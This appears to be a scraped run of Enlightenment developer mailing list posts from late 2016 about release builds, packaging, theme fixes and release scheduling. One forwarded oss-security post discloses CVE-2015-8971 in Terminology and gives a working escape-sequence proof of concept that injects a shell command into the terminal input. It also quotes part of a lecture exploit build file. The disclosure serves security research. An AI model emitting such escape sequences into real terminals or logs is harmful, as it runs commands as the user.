On 12/08/2016 08:31 PM, Stefan Schmidt wrote: > Hello. > > On 07/12/16 23:07, Jean Guyomarc'h wrote: >> Hi Stefan, >> >> 1.18.4 is ready to roll on macOS :) > > Thanks. > > Also let me underline that I'm very happy with such quick and short > feedback on the pre-release tarballs. > > regards > Stefan Schmidt > For completeness even though i said it on IRC openSUSE is looking good for X11 + Wayland (well it builds on wayland i didn't run anything) -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Developer Access Program for Intel Xeon Phi Processors Access to Intel Xeon Phi processor-based developer platforms. With one year of Intel Parallel Studio XE. Training and support from Colfax. Order your platform today.http://sdm.link/xeonphi___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Edje multiseat support
On 12/06/2016 01:18 AM, Bruno Dilly wrote: > Hi jpeg, > > On Mon, Dec 5, 2016 at 2:21 AM, Jean-Philippe André > wrote: > >> Hi, >> >> >> This seems to assume a finite and known in advance number of seats? >> I'm not well aware of what the seats are or how that's all supposed to >> work, but this sounds strange to me. >> >> > On theme point of view, I can't see how this could be any different. > If you don't know how many seats do you support or which seats would be > supported, > how could you be able to design it? > > EDC is pretty much a lot of parts with different states and programas > listening to specific signals-sources and taking an action when it matches. > Everything is hardcoded on EDC files, right? > > But nothing stops you to create an UI more dynamic on code. > You could listen to "seat,added,X" and create a random color > to represent it. Then when you receive "mouse,over,X" for specific parts, > you could change their colors, images, emit different sounds or whatever > that makes sense for you. > > > >> Maybe someone can enlighten me? Why would the theme know the number of >> seats? >> (the approach probably makes perfect sense but i'm not sure what edje >> should do wrt. seats) >> > I can't remember if you can currently do something like the % operator with edje, but you could make it so that the first 4 seats get different colors and then the 5th gets the same as the first. If you were only trying to do colors if you can extract the X part (again don't remember if this is possible) you could use a macro and substitute in a lookup table for colors (saves writing every part X times) -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Developer Access Program for Intel Xeon Phi Processors Access to Intel Xeon Phi processor-based developer platforms. With one year of Intel Parallel Studio XE. Training and support from Colfax. Order your platform today.http://sdm.link/xeonphi___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/enlightenment] enlightenment-0.21 01/02: 21.4 Release
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=39e6605bf1d1f94c9b376e40a30dde3cc77aa95f commit 39e6605bf1d1f94c9b376e40a30dde3cc77aa95f Author: Simon Lees Date: Tue Nov 29 11:29:54 2016 +1030 21.4 Release --- configure.ac | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index 3398aea..a3a2ec6 100644 --- a/configure.ac +++ b/configure.ac @@ -2,11 +2,11 @@ ##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--## m4_define([v_maj], [0]) m4_define([v_min], [21]) -m4_define([v_mic], [3]) +m4_define([v_mic], [4]) m4_define([v_rev], m4_esyscmd([(git rev-list --count HEAD 2>/dev/null || echo 0) | tr -d '\n']))dnl ##-- When released, remove the dnl on the below line m4_undefine([v_rev]) -m4_define([relname], [0.21.3]) +m4_define([relname], [0.21.4]) ##-- When doing snapshots - change soname. remove dnl on below line m4_define([relname], [ver-0.21]) dnl m4_define([v_rel], [-release relname]) --
[EGIT] [core/enlightenment] enlightenment-0.21 02/02: 21.4 NEWS Updates
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=43b92583766f57830833b52677fb1644afd59382 commit 43b92583766f57830833b52677fb1644afd59382 Author: Simon Lees Date: Tue Nov 29 11:39:15 2016 +1030 21.4 NEWS Updates --- NEWS | 135 +++ 1 file changed, 135 insertions(+) diff --git a/NEWS b/NEWS index 4f983f7..9145f6b 100644 --- a/NEWS +++ b/NEWS @@ -1,3 +1,138 @@ +Release 0.21.4: +- +Al Poole (1): + efm - fix popup if file is a fifo + +Alexander Pyhalov (1): + actually check if PIE is supported for SUID + +Carsten Haitzler (3): + e fm - fix popup to not crash by referring to possibly deleted data + cpufreq - move cpuinfo polling into thread to not block mainloop ever + wizard - do not set scale to 1.2 forcibly. use dpi as the def prof says + +Christopher Michael (2): + check if a client is internal or not before deleting + fix missing definition of DRM_FORMAT_XRGB + +Derek Foreman (6): + Block session recovery for internal windows + Remove EVAS_CALLBACK_HIDE on shelf when freeing + Increase area of tilers for regions + Fix massive wayland input region brokenness + Fix wayland opaque regions + Stop passing dimensions to _e_comp_wl_surface_state_init + +Joshua McBeth (1): + add dbus message 'org.enlightenment.wm.Window.SendToDesktop' + +Marcel Hollerbach (5): + wizard: make page 065 translatable + mixer: we changed that name when we merged the mixer in + update german translation + The potfile has changed, + mixer: do not set back the value from emix once the drag is finished + +Massimo Maiurana (1): + Updating italian translation + +Michaël Bouchaud (yoz) (2): + mixer: fix the volume conversion calc into pulseaudio backend + Revert "mixer: lock up the slider for the case a drag is in progress" + +Mike Blumenkrantz (80): + enforce bryce resizing when orientation changes + add EINTERN function for renaming gadget sites + fix bryce check for shelf existence on orientation/anchor to break when expected + add zone number to bryce names + do not check for shelf/bryce existence in opposing anchorages during bryce wizard + further improve bryce portability across zones + also do full bryce rename when moving between zones + add new flag for zone edge objects to allow shape cutting while repeating events + force bryce visibility during editor activity + add gadget_site_(un)locked smart callbacks for forcing gadget site visibility + call gadget_popup smart callback when configuring gadgets + handle gadget_popup smart callback on gadget's display object + set ON_HOLD flag when triggering gadget mouse buttion actions + remove unused attribute from used param + trigger bryce menus from right click if event has not been consumed + fix bryce upgrade path from 0 -> 2 re:naming + set ON_HOLD flag more accurately when activating gadget actions + avoid extra recalc when resizing a bryce on its oriented axis + add gadget site sizing workaround to avoid elm box sizing desync + rename bryces when changing anchors + loop bryce autosize recalc when gadget site has not yet calculated its size + only find the session recovery remember if ec->remember is not it + apply non-session recovery remember to client when creating recovery remember + correctly handle applying of non-SR remember in remember config + reject successive zone_geometry_dirty() calls + trigger zone geometry events when updating zone/desk obstacles + force min size on wireless popup during show + add workarounds for ctxpopup geometry for use in input shape tiling + force recalc on bryce scroller when doing recalc on gadget site + handle no-orient gadget visibility based on site->events visibility + force gadget site recalc on gadget object creation to ensure sizing + copy gadget position from pointer gadget -> drop gadget when executing drop + calc new gadget size based on ratio of size:target site size + allow client frame changes when switching from frame -> no frame + optimize out re-applying of borderless client theme + block remembers of e_sys windows + use eina_streq for string comparison in e_zone_for_id_get() + fix use after free when renaming a bryce + clamp bryce position to its parent zone + avoid potential divide by zero during bryce startup + do not modify bryce zone/name during startup + center desktop gadget editor popups upon the zone they have activated + attempt to handle non-orient gadget resizes based on anchor corners + allow scaling gadgets using wheel events during initial placement + attempt to recal
[E-devel] efl / e Australian Meetup.
Hi All, Seen as more then one of us are going to be at linux.conf.au at Hobart in January as such we were thinking of having a meetup either on the Wednesday or Thursday night, if anyone else is planning to be around let us know. Cheers -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- ___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] EFL packaging on Debian
On 11/12/2016 12:04 AM, Ross Vandegrift wrote: > On Thu, Nov 10, 2016 at 11:06:04AM +0100, Stefan Schmidt wrote: >> I did my monthly packaging update again and was hoping this moved to >> unstable by now. It is still in experimental only as far as I can see. >> Is there an automatic way this packages get from experimental to >> unstable, testing stable? Or are you supposed to pursue Albin again to >> get it uploaded to unstable? > > A few items on the current status: > > 1) All uploads will go through Albin (or some other sponsor). > > While reviewing, Albin had some questions on the internal EFL deps and > shared symbol versioning. The packaging produces unusually strict (for > Debian) dependencies. We're working through it. > > 2) experimental -> unstable is a manual migration. Once in unstable, > packages automatically migrate to testing, and then to the next stable > release. Packages are not normally added to existing stable releases. > > We uploaded to experimental for additional testing opportunity, since > Debian contains packages which depend on EFL. When we're happy with the > status, they'll be uploaded to unstable. > > 3) The packages in experimental break binary compatability with the > existing unstable packages. For instance, you can't use the > experimental packages break the terminology packages in unstable. > > (Why? The packages in unstable preserve a bit of pre-1.0 eina ABI that > was released into Debian many years ago. That requires disabling magic > debug, and in EFL 1.17 tests break with this config. We decided the > eina tests are more valuable than the ancient ABI.) > > So it's going to take some time - sorry. > > Ross > I don't know much of how debian builds work, but if you have some build files somewhere that I can copy, I can probably get debian builds working on open build service, so that when we do new efl / enlightenment builds I can check they atleast compile there. If someone has similar for arch I might be able to set that up as well, I don't have time to learn the other build formats in detail but if someone has something thats there and working I can probably integrate it in. Cheers -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- ___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[E-devel] Fwd: [oss-security] Re: CVE request: Escape Sequence Command Execution vulnerability in Terminology 0.7
Forwarded Message Subject: [oss-security] Re: CVE request: Escape Sequence Command Execution vulnerability in Terminology 0.7 Date: Mon, 7 Nov 2016 01:25:23 -0500 From: cve-ass...@mitre.org Reply-To: oss-secur...@lists.openwall.com To: nico...@braud-santoni.eu CC: cve-ass...@mitre.org, oss-secur...@lists.openwall.com, secur...@debian.org, r...@kallisti.us > Terminology 0.7.0 suffers from a bug similar to CVE-2003-0063, where an > attacker able to print character escape sequences can modify the window > title and then insert it back in the terminal's input buffer, resulting > in arbitrary terminal input, including code execution as a local user. > https://git.enlightenment.org/apps/terminology.git/commit/?id=b80bedc7c21ecffe99d8d142930db696eebdd6a5 >> src/bin/termptyesc.c Use CVE-2015-8971. signature.asc Description: OpenPGP digital signature -- Developer Access Program for Intel Xeon Phi Processors Access to Intel Xeon Phi processor-based developer platforms. With one year of Intel Parallel Studio XE. Training and support from Colfax. Order your platform today. http://sdm.link/xeonphi___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[E-devel] Fwd: [oss-security] Re: CVE request: Escape Sequence Command Execution vulnerability in Terminology 0.7
Forwarded Message Subject: [oss-security] Re: CVE request: Escape Sequence Command Execution vulnerability in Terminology 0.7 Date: Fri, 4 Nov 2016 19:57:53 +0100 From: Nicolas Braud-Santoni Reply-To: oss-secur...@lists.openwall.com To: oss-secur...@lists.openwall.com CC: johannes.win...@iaik.tugraz.at PS: Ascii-art lovers might prefer the enclosed exploit, which we wrote for our infosec lecture in Winter 2015 at Graz University of Technology. On Fri, Nov 04, 2016 at 05:59:59PM +0100, Nicolas Braud-Santoni wrote: > Hi, > > Terminology 0.7.0 suffers from a bug similar to CVE-2003-0063, where an > attacker able to print character escape sequences can modify the window > title and then insert it back in the terminal's input buffer, resulting > in arbitrary terminal input, including code execution as a local user. > > A concrete attack scenario can work as follows: the attacker gets a > string triggering the vulnerability into a log file (or any other thing > that eventually gets displayed to the user). When it is, at some later > point, displayed to the user, "echo 'evil'\n" gets written to the user's > terminal's input buffer, resulting in that command being executed by the > user's shell. > > For example: > > > printf "\e]2;echo 'evil'\n\a\e]2;?\a" > > > The issue was fixed in Terminology by > commit b80bedc7c21ecffe99d8d142930db696eebdd6a5 : > > > https://git.enlightenment.org/apps/terminology.git/commit/?id=b80bedc7c21ecffe99d8d142930db696eebdd6a5 > > I would like to apply for a CVE number for this issue, > on behalf of the Debian security team. > > > Best regards, > > Nicolas Braud-Santoni # # Magic ELF mockery ahead ... # # Clang as assembler frontend AS := clang -fno-integrated-as # Assembler flags ASFLAGS := -nostartfiles -Wl,-Ttext=0x0C0DD000 -x assembler-with-cpp # Objcopy (for extraction) OC := objcopy # Objcopy flags OCFLAGS := -Obinary -j.exploit # The source files AS_SOURCES := $(wildcard *.S) # The intermediate "objects" OBJECTS := $(AS_SOURCES:%.S=%.obj) # The resulting ELF images (extracted) EXECUTABLES := $(OBJECTS:%.obj=%.elf) #-- all: $(EXECUTABLES) clean: -rm -f $(EXECUTABLES) $(OBJECTS) # Assembler invocation %.obj: %.S $(AS) -o$@ $(ASFLAGS) $< # ELF image extraction %.elf: %.obj $(OC) $(OCFLAGS) $< $@ terminalbug.obj: ASFLAGS += -DTERMINOLOGY -DXTERM [0;5;37;47m ... :: .. .. . .. . [0m [0;5;37;47m . . . . . . . . . . . ... .. .. . . . . . [0m [0;5;37;47m . . . . : ... ...::t; . .. [0m [0;5;37;47m . .. .. . : ...[0;1;37;47mt[0;1;30;47mX8[0;1;30;45m8[0;33;41m8[0;1;30;45m8[0;1;30;41m8[0;31;45m8[0;5;33;40m.[0;1;30;47m8[0;5;37;47m8% . . . .[0m [0;5;37;47m . . . . . ...:[0;1;30;47m8[0;35;41m@[0;5;31;41m8[0;35;41m8[0;33;41m8[0;31;45m8[0;1;30;43m8[0;1;30;45m8[0;1;31;43m8[0;1;30;45m8[0;5;31;41m8[0;5;35;40mS[0;1;37;47m [0;5;37;47m: . . .. [0m [0;5;37;47m . . . . .%8X;S[0;1;37;47m8[0;1;30;47m8[0;1;31;41m8[0;5;35;40m@[0;5;33;40m:[0;1;37;47m ;[0;5;37;47mS. ;[0;1;30;47m;[0;1;31;41mX[0;5;35;40mt[0;1;30;47m@[0;5;37;47m.. .: . [0m [0;5;37;47m .. . . . . ;[0;1;37;47mt[0;1;30;47m8[0;1;30;45m8[0;1;31;41m8[0;5;31;40m8[0;35;41m8[0;5;31;40mS[0;1;31;41m@[0;5;35;40m8[0;1;31;41m@[0;1;30;41m8X[0;1;30;47m8[0;5;37;47m8[0;1;37;47m [0;1;35;47mS[0;5;33;41mX[0;5;37;40m%[0;1;30;45m8[0;1;33;47mS[0;5;37;47mS8[0;5;35;40mS[0;1;31;41m@[0;1;30;47m8[0;5;37;47m8; . . [0m [0;5;37;47m. . .. ... [0;1;37;47m@[0;1;30;47m8[0;35;41m8[0;5;31;40mX8[0;5;33;40mX[0;5;35;40m8[0;1;30;41m8[0;1;31;41m8[0;1;30;45m8[0;33;41mX[0;35;41m@[0;1;30;41m8[0;35;41mX[0;1;31;41m8[0;35;41mX[0;5;31;41m8[0;35;41m%[0;33;41mX[0;1;30;45m8[0;1;33;47m%[0;35;47m%8[0;1;30;43m8[0;5;37;47m t[0;1;37;47m [0;35;41m8[0;5;33;40m%[0;1;37;47m [0;5;37;47m: .[0m [0;5;37;47m . . . . [0;1;37;47m.[0;5;35;40m [0;1;37;47m;[0;5;37;47mX[0;1;37;47m@[0;5;35;40m.[0;1;31;41m8[0;31;45m8[0;33;41m8[0;5;35;40mX[0;5;31;40m8[0;1;30;40m8[0;5;31;40m8[0;5;30;40m@[0;5;31;40m8[0;1;30;41mS[0;35;41mX[0;33;41mX[0;35;41m8[0;1;30;41m888@[0;5;35;40m8[0;1;30;41m88[0;5;35;40m;[0;1;37;47m.[0;5;37;47m@[0;35;47m8[0;1;31;41m8[0;1;37;47mt[0;5;37;47m.;[0;1;30;45m8[0;1;31;41m8[0;1;30;47m8[0;5;37;47m8. . [0m [0;5;37;47m.. .. [0;1;30;47m8[0;5;30;40m@X[0;1;30;40m8[0;5;31;40m8[0;31;45m@[0;5;31;41m8[0;5;35;40mt[0;1;30;41m8[0;35;41mX[0;1;30;41m8[0;31;40mS[0;1;30;40m@[0;34;40m@[0;5;30;40m8[0;1;30;40m8[0;35;41mX[0;1;30;41m8[0;35;41m8[0;1;30;41m8[0;5;31;40m8[0;5;30;40mS@[0;1;30;40m@88[0;5;31;40m8[0;35;41mX[0;1;31;41m8[0;5;33;40m;[0;5;37;47mX[0;5;35;40m%[0;1;31;41mX[0;1;37;47m8[0;5;
Re: [E-devel] EDD 2017 location discussion
On 11/01/2016 08:28 PM, Stefan Schmidt wrote: > Hello. > > Thinking ahead about EDD 2017 it would be good if we could settle for a > location towards the end of the year. > > After this years EDD I already asked for location proposals which have > been collected here: > https://phab.enlightenment.org/w/events/location_proposals/ > > I will put out a phab vote for it over the next weeks but wanted to > bring it up here for discussion to sort out valid and likely proposals > from the rest. > > Here we go with the list and my comments on it: > From a selfish perspective the only events i'm likely to come to are Seoul and Australia, based on the fact that Seoul probably won't cost me much more I'd vote for that. The only chance of me making one in Europe is if its the time of year when i'm already there and I don't know when that will be. But I am just one person. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Developer Access Program for Intel Xeon Phi Processors Access to Intel Xeon Phi processor-based developer platforms. With one year of Intel Parallel Studio XE. Training and support from Colfax. Order your platform today. http://sdm.link/xeonphi___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] E17 Theme Text Sizing Issue with EFL 1.18
On 10/28/2016 04:37 AM, Eduardo Lima (Etrunko) wrote: > Hmm, maybe it is related to the issue I reported these days, can you please > try the steps I and see what you got? > > https://phab.enlightenment.org/T4730 > > On Thu, Oct 27, 2016 at 11:44 AM, Jeff Hoogland > wrote: > >> Finally getting with the times and upgrading to the latest EFL in Bodhi >> since it doesn't cause hard locks with E17 anymore. I am having a much more >> minor issue with some of our themes though. Text doesn't appear to take >> space properly any more for certain objects like it did with previous EFL >> versions. >> >> Screenshot: >> https://cdn.scrot.moe/images/2016/10/27/shot-2016-10-27_13-28-32.jpg >> >> The module highlighted in the corner is the clock module. It just displays >> "..." instead of the time like it did with previous EFL versions I used it >> with. >> >> The everything launcher also displays "..." instead of the text you are >> searching for once I type more than a single character. >> >> Theme source is here -> https://github.com/JeffHoogland/MokshaForum >> >> Someone else did the bulk of work on these and I am just trying to patch >> them up as issues like this appear. Any suggestions on where to look to fix >> these text sizing issues with EFL 1.18? >> At a guess if the clock etc is just a text part (label) you probably need to add "text.ellipsis: -1;" so that the text doesn't get truncated with ..., this isn't exactly a new efl change though, its atleast 2 years old from memory and all the newer themes were patched to fix it at one point or another. My guess is when you compile you get a bunch of warnings about places where it needs fixing. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] [RFC] One binary to rule them all, packagers opinion needed
On 10/27/2016 04:58 AM, Cedric BAIL wrote: > On Tue, Oct 25, 2016 at 5:17 PM, Carsten Haitzler > wrote: >> On Tue, 25 Oct 2016 14:32:29 -0700 Cedric BAIL said: >>> On Mon, Oct 24, 2016 at 10:31 PM, Carsten Haitzler >>> wrote: >>>> On Fri, 21 Oct 2016 15:14:20 -0700 Cedric BAIL said: >>>> i've been mulling this. i followed the feedback so far. basically 2 main >>>> things: >>>> >>>> 1. this is intended to improve performance. especially startup times. >>>> 2. this is highly problematic in terms of portability and is going to >>>> create >>>> lots of code and build paths. >>> >>> It won't create lots of code and build paths. In fact it doesn't even >>> need two build paths. It just needs to uses all .la files for building >>> quicklaunch and can be rolled in, in parallel to current system. Just >>> the link of the quicklaunch binary would be different. Next step would >>> be to make a build option that setup symlink to that binary. Finally >>> that option would be the default, likely only afffecting the install >>> process. I don't think that create a lots of code (There should be no >>> code change) and build paths change at all. >> >> why are you doing a symlink if its JUST a quicklaunch binary change (that >> statically compiles all of efl into it)? > > As said it is a multiple stage update path. First just a change to > quicklaunch, which should work by itself. Then we can switch from real > libevas.so.1 to a symlink to that binary. This allow us a progressive > try without breaking everyone right away and making it possible for > people/packager on other OS to try it first. > >> you are trying to replace all of libevas.so.1, libeina.so.1, etc. with >> symlinks >> TO this quicklaunch binary ... to retain binary compatibility. you cant have >> the .so's AND this ql binary both have the same set of symbols. asking for >> trouble there. > > It shouldn't be a problem thanks to DSO on most system. System without > DSO may be an issue. > >> but to USe this binaries HAVE to be PIe and this makes for a non-portable >> pain >> in the arse of creating apps. which is why i did .so's for quicklaunch >> before.. >> because it also works with dll's on windows. PIE does not. not that i could >> find. > > Most system have some form of PIE due to the need to implement ALSR. > For windows, let follow up the discussion with Vincent. > >>>> 3. this makes debugging and other things a nightmare (ps names are all the >>>> same .. well depending on tool etc.) >>> >>> This is exagerated. Again just need to pass the right command line to >>> ps/top and problem is solved. Can easily be documented and we can also >>> provide a script that does it until we provide some nicer application >>> there. >> >> i mean simple user debugging. someone runs ps or top and all they see is 20 >> processes called "quicklaunch". because depending on the ps tool it may use >> one >> proc field or another. so a user goes "quicklaunch process is using N% cpu >> or N >> % ram". what real process is that? they don't know. because procps tools will >> not do what you want and thus the average person will become confused and >> find >> anything using efl like this to be horribly hard to work with. >> >> if top, htop, ps, killall, etc. don't work out of the box, it isby everyone >> (except yours) definition... a nightmare. i've messed with this before and it >> does not work across all the tools because of where they source command (and >> that can change based on config and cmdline options too). > > As said, this is just a matter of alias to be documented. I don't > think it is so much of a big deal. > As someone who helps with support a lot if top, htop, ps, killall and " systemctl status user.slice" don't provide correct info out of the box i'd consider it a deal breaker and broken and would probably look for ways to patch around it at a distro level. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Schedule discussion for 1.19
On 10/26/2016 10:32 PM, Stefan Schmidt wrote: > Hello. > > On 26/10/16 12:28, Simon Lees wrote: >> >> >> On 10/26/2016 07:43 PM, Stefan Schmidt wrote: >>> Hello. >>> >>> On 24/10/16 19:42, Cedric BAIL wrote: >>>> On Mon, Oct 24, 2016 at 1:48 AM, Stefan Schmidt >>>> wrote: >>>>> On 12/09/16 19:01, Cedric BAIL wrote: >>>>>> On Mon, Sep 12, 2016 at 7:58 AM, Stefan Schmidt >>>>>> wrote: >>>>>>> On 10/09/16 01:29, Cedric BAIL wrote: >>>>>>>> I fully agree with Andrew. I have yet to review what still need to be >>>>>>>> done regarding Efl new interface task, but I hope that 1.19 will be >>>>>>>> our final call. We do now have time to cleanup example and check that >>>>>>>> things look fine. >>>>>>> >>>>>>> Please correct me if I did not get you two correctly here. >>>>>>> >>>>>>> You both think we should release 1.19 only once the interface work is >>>>>>> fully done? Be it in 3 months or in a year? >>>>>> >>>>>> I hope that we will be done by November. >>>>> >>>>> >>>>> You still hope this? >>>> >>>> Nope. Not anymore, should have updated this thread last week. We have >>>> been unable to secure someone to work on genlist/gengrid and it will >>>> not be done for 1.19. Blocking on efl interface to be done for 1.19 is >>>> now useless in my opinion (or wishfull thinking). I think we would be >>>> even fine with a shorter dead line. Just let me merge eo/efl/ecore and >>>> that would be the only really important change for this release. >>> >>> >>> Thanks for the update. I will see if Andy and Simon still have problems >>> with this approach, but if not I will propose an updated 1.19 release >>> plan without interface being declared stable today. >>> >>> regards >>> Stefan Schmidt >>> >> >> A question worth asking is what are the other features lined up for this >> release and are people in a hurry to use them? Remembering that bug >> fixes for wayland and anything else should be coming into the point >> releases and so aren't held up if there is a bunch of good useful >> features that are held up then sure release now and i'll hold off on >> packaging all the stuff using eo and I guess it will be up to the >> maintainers to finish off the interfaces. But if all the major new >> features are centered around the newer api rather then legacy then >> there's no point in a 1.19 yet as nothing can really use its new >> features until interfaces are declared stable anyway. > > Right now we already have 1063 new commits in master since the 1.18 > release. I have no motivation to go through all of them to find out > about all new features or enhancements people might want to use. > > Some people use the @feature tag though which can help us to find at > least some things: > stefan@workmachine efl (master) $ git log v1.18.0..HEAD > --grep="@feature" --pretty=oneline > c173be4db73326a5090d69b7442f5ebfc38f2ce4 elementary: Implement support > for EFL Wayland mouse pointers > a80d4ef5a54b9252c3017c858de87ac6a2a39c16 ecore-wl2: Remove usage of > libwayland-cursor > 0a46096337dcbde7b18e093518e3b0846a425053 elementary: Provide EFL mouse > pointers for Wayland Client applications > 173fda5c11fc083a0b274e404f0005a52b4bf128 ecore-wl2: Remove all > references to wl_cursor usage > ed2b4e97c1986e3552fc1c6fcc98eb39abb86b3f Canvas text: add > annotation_positions_get method > c0701a1051b94ffb018f54919dc7c462cdaac64f Canvas text cursor: add > simple_geometry_get method > 0566abeee85f899dffd1b58260ada696d8a86af7 Merge branch > 'devs/iscaro/ecore_evas_vnc_multiseat' > 63088b583c26e72223d3ff4149706b5380f0c1d4 elm_image: Add smart cbs for > async open > a2605240ee88a35156224be6f6dbb2f7b257fbb5 Merge branch > 'devs/devilhorns/atomic' > b242f50626c57212d2b6525d8bddc8f0595971f4 Eo: introducing libeo_dbg.so. > 1d26e614789a598c7562a4e826a80b74f6f45d60 eina - add recursive mutex lock > - apparently these are portable > a2e3b8ad134b7170dbd0ae585b331d87aa694cb6 eeze: add support of GPIO sysfs > detection and watch. > 9c779dca90bea36ad43c77597f107dd157a33c46 Rename efl_self to efl_added > 4aae224ef5af35e920e0c5a2c23df9afbb33bb84 Efl object: change the way we > set class's functions. > b3993b684e30bf20fca66cf25308f627420
Re: [E-devel] Schedule discussion for 1.19
On 10/26/2016 07:43 PM, Stefan Schmidt wrote: > Hello. > > On 24/10/16 19:42, Cedric BAIL wrote: >> On Mon, Oct 24, 2016 at 1:48 AM, Stefan Schmidt >> wrote: >>> On 12/09/16 19:01, Cedric BAIL wrote: >>>> On Mon, Sep 12, 2016 at 7:58 AM, Stefan Schmidt >>>> wrote: >>>>> On 10/09/16 01:29, Cedric BAIL wrote: >>>>>> I fully agree with Andrew. I have yet to review what still need to be >>>>>> done regarding Efl new interface task, but I hope that 1.19 will be >>>>>> our final call. We do now have time to cleanup example and check that >>>>>> things look fine. >>>>> >>>>> Please correct me if I did not get you two correctly here. >>>>> >>>>> You both think we should release 1.19 only once the interface work is >>>>> fully done? Be it in 3 months or in a year? >>>> >>>> I hope that we will be done by November. >>> >>> >>> You still hope this? >> >> Nope. Not anymore, should have updated this thread last week. We have >> been unable to secure someone to work on genlist/gengrid and it will >> not be done for 1.19. Blocking on efl interface to be done for 1.19 is >> now useless in my opinion (or wishfull thinking). I think we would be >> even fine with a shorter dead line. Just let me merge eo/efl/ecore and >> that would be the only really important change for this release. > > > Thanks for the update. I will see if Andy and Simon still have problems > with this approach, but if not I will propose an updated 1.19 release > plan without interface being declared stable today. > > regards > Stefan Schmidt > A question worth asking is what are the other features lined up for this release and are people in a hurry to use them? Remembering that bug fixes for wayland and anything else should be coming into the point releases and so aren't held up if there is a bunch of good useful features that are held up then sure release now and i'll hold off on packaging all the stuff using eo and I guess it will be up to the maintainers to finish off the interfaces. But if all the major new features are centered around the newer api rather then legacy then there's no point in a 1.19 yet as nothing can really use its new features until interfaces are declared stable anyway. After the interfaces are stable I think it does make sense to go back to time based releases. If everybody else wants to release now thats fine i'll just put off packaging any eo based app until I know which release the eo interfaces will be stable in. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Schedule discussion for 1.19
